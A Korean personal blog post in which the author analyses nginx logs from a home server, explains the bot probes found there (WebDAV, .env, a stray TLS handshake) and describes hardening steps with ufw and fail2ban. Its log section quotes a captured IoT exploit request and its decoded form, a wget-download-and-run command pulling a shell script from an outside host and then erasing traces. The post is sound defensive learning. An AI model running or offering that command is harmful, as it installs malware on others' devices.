1. 서론 – 왜 집에 서버를 띄웠는가
집에 미니 PC로 개인 서버를 구성해 다양한 서비스를 운영 중이다.
nginx로 열려 있는 서비스는 총 3가지가 있다:
1. n8n self hosted
2. coupon system (nestjs)
3. coupon system (vite)
2. 사건의 발단 – 이상한 로그 발견
어느날 문득 혹시 내 서버에 접속한 사람이 있을까? 하는 궁금증이 생겼다. Nginx는 접속 및 에러 로그를 모두 남긴다.
/var/log/nginx/access.log
/var/log/auth.log
- 우연히 /var/log/nginx/access.log 또는 /var/log/auth.log 등을 보다가 이상한 요청 감지
- 접속한 IP의 지역 (중국, 러시아, 미국 등)
- 요청 패턴 예시 (admin/login.asp, .env, /wp-admin 등)
이 중에 몇 개를 geolocation 서비스로 어디인지 확인해봤다.
싱가폴, 중국, 독일.. 엄청 다양하다.
그래서 지금까지 서버 띄워놓은지 두 달 정도 된 시점에서 로그 분석을 한 번 해보기로 했다.
3. 접속 로그 분석 – 누가, 언제, 무엇을 요청했는가
일단 본격적인 분석 전에 위에 예시로 간단히 분석해보자.
204.76.203.208 - - [21/Jun/2025:00:01:04 +0900] "PROPFIND / HTTP/1.1" 405 166 "-" "-"
이건 WebDAV의 PROPFIND 명령어이다. WebDAV는 HTTP 프로토콜을 확장하여 웹 서버의 파일을 원격에서 읽고, 쓰고, 수정하고, 삭제할 수 있게 해주는 프로토콜이다. 요청은 실패(405)했지만, 만약 WebDAV를 사용하고 있었고, root 디렉토리가 WebDAV 공유 대상이었다면, 성공했을 가능성이 있다. 근데 누가 미치지 않고서야 root 디렉토리를 열어놓겠는가?
8.136.252.56 - - [21/Jun/2025:00:54:04 +0900] "GET /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=uname%20-a;cd+%2Ftmp+%7C%7C+cd+%2Fvar%2Frun+%7C%7C+cd+%2Fmnt+%7C%7C+cd+%2Froot+%7C%7C+cd+%2F%3B+wget+http%3A%2F%2Ffile.uhsea.com%2F2506%2F5f3af732f1302594ca5f253c04ac121705.sh%3B+chmod+777+%2A%3B+sh+5f3af732f1302594ca5f253c04ac121705.sh%3B+rm+-rf+%2A.sh%3B+history+-c HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
이건 도데체 뭔가 싶은데 일단 이건 URL 디코딩해서 정리하면 이렇게 생겼다.
uname -a; \ cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; \ wget http://file.uhsea.com/2506/5f3af732f1302594ca5f253c04ac121705.sh; \ chmod 777 *; \ sh 5f3af732f1302594ca5f253c04ac121705.sh; \ rm -rf *.sh; \ history -c
uhsea를 검색하면 이상한 중국 사이트가 나오는데 상당히 수상하다. 셸 스크립트를 가져와서 디바이스에 뭔가 심으려고 한 것 같은데, 서버가 uhsea 제품을 사용한 IoT 장비가 아니기도하고, 실패(301)한걸로 봐서 http로 접속한 것 같다.
검색을 좀 해보니 device.rsp는 보통 IoT의 특정 취약점을 노린거라고 한다. 뭘 하려고 한걸까...
172.236.137.159 - - [21/Jun/2025:01:00:03 +0900] "GET / HTTP/1.0" 301 178 "-" "-"
172.236.137.159 - - [21/Jun/2025:01:00:09 +0900] "GET / HTTP/1.0" 403 162 "-" "-"
172.236.137.159 - - [21/Jun/2025:01:00:10 +0900] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML"
172.236.137.159 - - [21/Jun/2025:01:00:10 +0900] "GET / HTTP/1.1" 403 162 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML"
172.236.137.159 - - [21/Jun/2025:01:00:10 +0900] "GET /favicon.ico HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML"
172.236.137.159 - - [21/Jun/2025:01:00:10 +0900] "GET /favicon.ico HTTP/1.1" 404 162 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML"
172.236.137.159 - - [21/Jun/2025:01:00:20 +0900] "\x16\x03\x01\x02\x00\x01\x00\x01\xFC\x03\x03\x03\x88\xE6\x13\xB3\xBE\xAD8l}\xE6h.\x9BJ\x5CQ<\x95\x8F\xFB\x82\xB2n\xCF\xFF\xD7\xD8r{\x86\xD9 @\x1C1C\x15^y\xED\xB9\xC0V>\x17V.\x8DO\x95\xD1\x17\x88\xA6F\xF9\x04\x85\xFB\x04<t#1\x00\x9C\x13\x02\x13\x03\x13\x01\x003\x009\x005\x00/\xC0,\xC00\x00\xA3\x00\x9F\xCC\xA9\xCC\xA8\xCC\xAA\xC0\xAF\xC0\xAD\xC0\xA3\xC0\x9F\xC0]\xC0a\xC0W\xC0S\xC0+\xC0/\x00\xA2\x00\x9E\xC0\xAE\xC0\xAC\xC0\xA2\xC0\x9E\xC0\x5C\xC0`\xC0V\xC0R\xC0$\xC0(\x00k\x00j\xC0s\xC0w\x00\xC4\x00\xC3\xC0#\xC0'\x00g\x00@\xC0r\xC0v\x00\xBE\x00\xBD\xC0" 400 166 "-" "-"
이건 로그 여러개를 같이 봐야 알 수 있을 것 같다.
보통 브라우저에서 접속을 하면 favicon을 같이 요청한다고 한다고 한다. 근데 나는 아무것도 없으니 당연히 실패한다.
맨 밑에 로그를 보면 뭔가 이상한 바이너리 코드를 보낸 흔적이 있다. TLS 프로토콜 1.2에 관한 표준(RFC 5246) 6.2.1 섹션을 보면 [type][tls version][length][fragment] 구조로 요청을 보낸다. 위에 로그 첫 부분을 보자.
\x16 = 22(0x16) → TLS handshake
\x03\x01 = TLS version 1.0 (SSL 3.1)
\x02\x00 = 512 bytes의 메시지 길이
첫 번 째 자리는 handshake에서 22(16진수: x16)를 의미한다.
두번째, 세번째 x03 x01은 ProtocolVersion(major, minor)이다. 그래서 3.1인데 SSL3.1, 즉 TLS1.0이다.
마지막은 빅에디안(Big-Edian) 방식을 사용한다. uint16(2byte)라서 (x02)2 x 512 + (x00) 0 x 1 = 512 바이트이고, 그 뒤는 handshake 메시지이다.
결과적으로, HTTP/1.0으로 GET 요청으로 보낸걸로 봐서 그냥 http로 요청을 보내서 redirect(301)된 요청이다. 근데 왜 이 요청은 왜 실패했을까? 그리고 왜 로그에 남아있을까?
196.251.70.87 - - [21/Jun/2025:01:16:06 +0900] "GET /.env HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2"
이건 .env 파일을 URL로 요청한 경우이다. .env에는 보통 중요한 secret key를 저장해놓는다. 그래서 혹시 실수로나마 .파일을 노출시켰을 경우, 위험한 상황이 생길 수도 있다. 나는 .env를 url에 직접 노출시키지 않았기 때문에 당연히 실패했다.
3.1. 로그 통계화
궁금하니까 파이썬으로 간단하게 로그 분석을 해봤다. 내 아이피를 제외하고 access log, error log, 국가별 빈도 수, status code, method 등 간단하게 matplot 라이브러리로 분석을 해봤다.
Access Log
Error Log
성공한 로그만
헉 ! 미국에서 성공한 요청 1건이 있다...! 분석 데이터를 따로 저장해뒀으니 살펴봤다.
그냥 루트 디렉토리로 보낸 케이스인데, 딱히 세팅을 안해서 nginx 기본 웰컴 페이지가 뜬다. 다행히 별다른 행동은 하지 않았다. 웰컴페이지 보고 뉴비처럼 보여서 그냥 지나쳤을까..?
4. 대응 및 조치
챗gpt한테 물어보니 자동봇으로 이런 공격을 랜덤으로 시도한다는데, 도데체 이런 짓을 왜 하는지는 모르겠지만, 어쨌든 혹시나 모를 상황에 조치는 해야한다.
나는 이렇게 조치했다:
4.1. Reserse Proxy / 방화벽 설정 재점검
sudo ufw status
예전에 개발 중에 테스트 용으로 열어뒀던 포트가 아직 남아 있었다..! 물론 nginx로 막기는 했지만, 혹시 모르니 막는게 좋을 것 같다.
sudo ufw deny 5900
sudo ufw delete allow 5900
포트를 막아도 되고, 지워도 된다.
4.2. 포트포워딩 포트 제한
나는 TPLink의 DDNS를 사용하기 때문에 TPLink 공유기 설정 페이지에 가면 포트포워딩 설정을 할 수 있다. 사용하는 포트 외에는 모두 막아뒀고, http(80)은 nginx로 막고 있다.
4.3. 로그인 화면 활성화
서버에 n8n self hosted 서비스를 띄워놨는데, 이건 로그인을 하지 않으면 사용을 할 수 없기 때문에 이렇게 로그인할 수 있도록 하는 것도 좋은 방법인 것 같다.
4.4. fail2ban 설치
fail2ban은 리눅스 서버에서 보안 공격을 방어하기 위한 침입 방지 도구이다. 공식 Github페이지에 의하면 /var/log/auth.log를 감시해서 방화벽에 특정 IP를 막는 조치를 한다고 한다.
sudo apt install fail2ban
간단하게 설치해주고, /etc/fail2ban/jail.conf에서 차단에 대한 정책을 설정할 수 있다
의도적으로 ssh 비밀번호 오류를 6회 반복하니 아래와 같이 연결이 끊겨버렸다. (그 와중에 잠시 테스트하는 사이 네덜란드에서 접속 시도;;)
4.5. SSH 로그 실시간 감시하는 shell script 예제
5. 내가 배운 것 – 집에서 서버를 운영한다는 것의 현실
나중에는 이런 접속 환경을 모니터링 할 수 있는 장치, 흔히 말하는 ELK Stack이 있으면 훨씬 편할 것 같다. 실제 중요한 서비스를 운영하는 환경에서는 문제가 생겼을 때 alert도 줘야할거고, 장애 복구 시스템도 마련을 해줘야 하겠지만, 현재는 민감한 데이터가 없어 ELK까지는 구축하지 않았지만, 추후 실제 유저 서비스에선 고려할 예정이다. 나중에 실제 유저들이 사용하는 서비스가 올라가면 할지도?
외부로 열려있는 서버는 언제든 스캔당하고 공격당한다
요즘 해킹으로 피해를 보는 서비스가 늘어나고 있는데, 혹시나해서 들여다봤지만, 정말 생각지도 못한 곳에서 하나 배웠다. 만약 내가 귀찮아서 HTTPS를 설정하지 않았다면? 개발용이니까 그냥 모든 포트를 다 열었다면? 내 서비스에 개인정보가 있었다면 정보를 이미 털어갔을 수도 있다.
이놈의 악성 봇들 IP를 가릴까말까 고민 많이 했는데, 그냥 가려줬습니다.
'개발 이야기' 카테고리의 다른 글
코드 리뷰를 놓치지 않는 방법: GitLab과 Slack을 연동한 자동화 봇 구축기 (2) | 2024.10.05 |
---|---|
[Notion API] 리소스 업로더 만들어보기 - 1 (API 연결, Database Query) (4) | 2024.01.30 |
[Google Analytics] 앱 분석해보기 (Unity) (2) | 2023.12.25 |
티스토리로 이전하며 (2) | 2023.12.06 |